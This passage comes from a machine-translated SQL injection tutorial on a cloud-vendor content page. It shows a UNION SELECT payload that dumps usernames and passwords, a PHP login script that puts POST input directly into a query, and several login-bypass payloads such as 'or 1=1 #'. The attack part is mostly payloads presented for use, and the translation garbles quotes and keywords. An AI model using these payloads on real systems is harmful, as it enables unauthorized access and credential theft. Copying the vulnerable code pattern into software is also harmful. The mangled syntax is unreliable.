Let's build an injection statement.
Enter
A % and 1 = 2 union select 1, username, 3, 4, 5, 6, 7, 8, password, 10, 11 from
Alphaauthor # entered in SQL statements
Select * from alphadb where title like % a % and 1 = 2 union select
1, username, 3, 4, 5, 6, 7, 8, password, 10, 11 from alphaauthor # %
The result is shown in Figure 17.
How about it? Come out, haha. Everything is under control.
C: Let's take a look at various injection attack methods from the injection location.
1) first, let's take a look at background login.
Code First
// Login. php
.......
$ Query = "select * from alphaauthor where UserName ="
. $ HTTP_POST_VARS ["UserName"]. "and
Password = ". $ HTTP_POST_VARS [" Password "]." ";
$ Result = mysql_query ($ query );
$ Data = mysql_fetch_array ($ result );
If ($ data)
{
Echo "background login successful ";
}
Esle
{
Echo "re-login ";
Exit;
}
.........
?>
The Username and password are directly executed in SQL without any processing.
Let's see how we can bypass it?
Which is the most classic one:
Enter both the user name and password
'Or =
Entered into SQL statements
Select * from alphaauthor where UserName = or = and Password = or =
The $ data obtained in this way is definitely true, that is, we have successfully logged in.
There are other bypass methods. The principle is the same. You just need to find a way to make $ data return true.
We can use the following methods.
1.
Enter both the user name and password or a =
SQL
Select * from alphaauthor where UserName = or a = a and Password =
Or a =
2.
Enter or 1 = 1 and '=
SQL
Select * from alphaauthor where UserName = or 1 = 1 and '=
And Password = or 1 = 1 and '=
Enter or 2> 1 and '=
SQL
Select * from alphaauthor where UserName = or 2> 1 and '=
And Password = or 2> 1 and '=
3.
Username input or 1 = 1 # Password input casually
SQL
Select * from alphaauthor where UserName = or 1 = 1 # and
Password = anything
The following part is commented out. Of course, the returned result is true.
4.
The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion;
products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the
content of the page makes you feel confusing, please write us an email, we will handle the problem
within 5 days after receiving your email.
If you find any instances of plagiarism from the community, please send an email to:
info-contact@alibabacloud.com
and provide relevant evidence. A staff member will contact you within 5 working days.
A Free Trial That Lets You Build Big!
Start building with 50+ products and up to 12 months usage for Elastic Compute Service